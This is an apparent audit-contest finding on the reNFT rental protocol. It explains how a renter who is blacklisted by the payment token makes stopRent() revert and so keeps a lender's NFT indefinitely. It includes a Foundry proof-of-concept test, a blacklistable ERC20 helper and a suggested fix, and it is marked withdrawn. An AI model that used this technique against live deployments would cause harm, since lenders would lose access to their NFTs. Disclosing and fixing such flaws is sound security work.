Renter can intentionally get himself blacklisted to keep NFT

[c4-bot-6]

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100-L118

Vulnerability details

Bug Description

The reNFT protocol includes a feature for PAY orders, where an NFT is rented out and, upon completion of the rental period, ERC-20 tokens are paid to the renter. If the rental is terminated early, a proportion of the tokens is still paid to the renter.

A issue emerges within the stopOrder() function. Regardless of whether an order is active or completed, invoking stopOrder() results in a call to ESCRW.settlePayment(order);. This leads to one of two functions being executed: _settlePaymentProRata() or _settlePaymentInFull(), depending on the order's status. Both functions use _safeTransfer() to handle the ERC-20 token transfer to the renter.

function _safeTransfer(address token, address to, uint256 value) internal {
    // Call transfer() on the token.
    (bool success, bytes memory data) = token.call(
        abi.encodeWithSelector(IERC20.transfer.selector, to, value)
    );

    if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
        revert Errors.PaymentEscrowModule_PaymentTransferFailed(token, to, value);
    }
}

As we can see, if the ERC20 contract reverts on the transfer or returns false, this will result in the whole call to stopOrder() reverting.

The problem arises when the safeTransfer() function reverts, which can occur if the ERC-20 contract reverts the transfer or returns false. This could happen if the renter's address is blacklisted by the token, a feature employed by many major ERC-20 tokens like USDC . In such a scenario, the failure in the token transfer results in the entire stopOrder() function reverting.

The potential for exploitation exists where a renter, after renting an NFT could interact with blacklisted addresses to get themselves blacklisted. This would prevent the successful execution of stopRent(), allowing the renter to indefinitely retain and use the NFT, as the lender is unable to reclaim it.

Impact

When a renter becomes blacklisted by the ERC-20 token used for payment, the lender is unable to reclaim their NFT. All attempts to execute stopRent() will revert due to the failed token transfer to the blacklisted renter.

Proof of Concept

In the following POC one can see an exemplary case of this happening. Bob rents out an NFT and then gets blocked, resulting in alice being unable to retrieve her NFT.

function test_StopRent_PayOrder_BlacklistedLender() public {
    // -------------- BlacklistableERC20 ----------------
    // deploy the blacklistable ERC20 contract, carol is the USDC admin in this case
    vm.startPrank(carol.addr);
    BlacklistableERC20 blacklistErc20 = new BlacklistableERC20();
    blacklistErc20.transfer(alice.addr, 100);
    vm.stopPrank();

    //Grant approval to reNFT
    vm.startPrank(alice.addr);
    blacklistErc20.approve(address(conduit), 100);
    vm.stopPrank();

    //---------------- PAY ORDER CREATION ----------------

    // create a PAY order
    createOrder({
        offerer: alice,
        orderType: OrderType.PAY,
        erc721Offers: 1,
        erc1155Offers: 0,
        erc20Offers: 1,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 0
    });

    //Pop the original ERC20
    orderToCreate.offerItems.pop();

    //Add the ERC20
    OfferItem memory itemERC20 = OfferItemLib.empty();
    itemERC20.itemType = ItemType.ERC20;
    itemERC20.token = address(blacklistErc20);
    itemERC20.startAmount = 100;
    itemERC20.endAmount = 100;
    orderToCreate.offerItems.push(itemERC20);

    // finalize the pay order creation
    (
        Order memory payOrder,
        bytes32 payOrderHash,
        OrderMetadata memory payOrderMetadata
    ) = finalizeOrder();

    //---------------- PAYEE ORDER CREATION ----------------

    // create a PAYEE order. The fulfiller will be the offerer.
    createOrder({
        offerer: bob,
        orderType: OrderType.PAYEE,
        erc721Offers: 0,
        erc1155Offers: 0,
        erc20Offers: 0,
        erc721Considerations: 1,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });

    //Pop the ERC20
    orderToCreate.considerationItems.pop();

    ConsiderationItem memory itemERC202 = ConsiderationItemLib.empty();
    itemERC202.recipient = payable(address(ESCRW));
    itemERC202.itemType = ItemType.ERC20;
    itemERC202.token = address(blacklistErc20);
    itemERC202.startAmount = 100;
    itemERC202.endAmount = 100;
    orderToCreate.considerationItems.push(itemERC202);

    // finalize the pay order creation
    (
        Order memory payeeOrder,
        bytes32 payeeOrderHash,
        OrderMetadata memory payeeOrderMetadata
    ) = finalizeOrder();

    //---------------- ORDER FULFILLMENT ----------------

    // create an order fulfillment for the pay order
    createOrderFulfillment({
        _fulfiller: bob,
        order: payOrder,
        orderHash: payOrderHash,
        metadata: payOrderMetadata
    });

    // create an order fulfillment for the payee order
    createOrderFulfillment({
        _fulfiller: bob,
        order: payeeOrder,
        orderHash: payeeOrderHash,
        metadata: payeeOrderMetadata
    });

    // add an amendment to include the seaport fulfillment structs
    withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

    // finalize the order pay/payee order fulfillment
    (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

    // -------------- ISSUE ----------------

    //Some time passes
    vm.warp(block.timestamp + 250);

    //Bob intentionally gets blacklisted
    vm.startPrank(carol.addr);
    blacklistErc20.addBlocklist(bob.addr);
    vm.stopPrank();

    //Now the rental finishes
    vm.warp(block.timestamp + 500);

    //Alice tries to retrieve her NFT which is not possible as bob is blacklisted
    vm.prank(alice.addr);
    vm.expectRevert();
    stop.stopRent(payRentalOrder);
}

The testcase can be run by adding it to the test/integration/StopRent.t.sol file and running forge test -vvvv --match-test "test_StopRent_PayOrder_BlacklistedLender". Additionally one needs to add the following custom ERC20 to the test/utils folder

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin-contracts/token/ERC20/ERC20.sol";

contract BlacklistableERC20 is ERC20 {
    mapping(address => bool) private blocked;
    address owner;

    constructor() ERC20("BlacklistableERC20", "BLK") {
        _mint(msg.sender, 100);
        owner = msg.sender;
    }

    function addBlocklist(address account) external {
        require(msg.sender == owner, "Only the contract owner can add to the blocklist");
        blocked[account] = true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(!blocked[msg.sender], "Sender is blocked");
        require(!blocked[recipient], "Recipient is blocked");
        return super.transfer(recipient, amount);
    }
}

Finally one needs to add these imports to the head of the testfile:

import {OfferItemLib, ConsiderationItemLib} from "@seaport-sol/SeaportSol.sol";
import {OfferItem,ItemType,ConsiderationItem} from "@seaport-types/lib/ConsiderationStructs.sol";
import {BlacklistableERC20} from "@test/utils/BlacklistableERC20.sol";

Tools Used

Manual Review

Recommended Mitigation Steps

To address this vulnerability, the protocol should handle the token transfer failure scenario differently. Instead of reverting the entire transaction, the protocol could log the failed payment in a mapping, allowing the lender to still retrieve their NFT. The renter, upon being removed from the blacklist, would then have the ability to withdraw their funds through an additional function. This approach ensures that the lender can recover their NFT even if the renter is blacklisted, while preserving the renter's ability to eventually receive their payment.

Assessed type

Token-Transfer

[c4-bot-6]

Withdrawn by J4X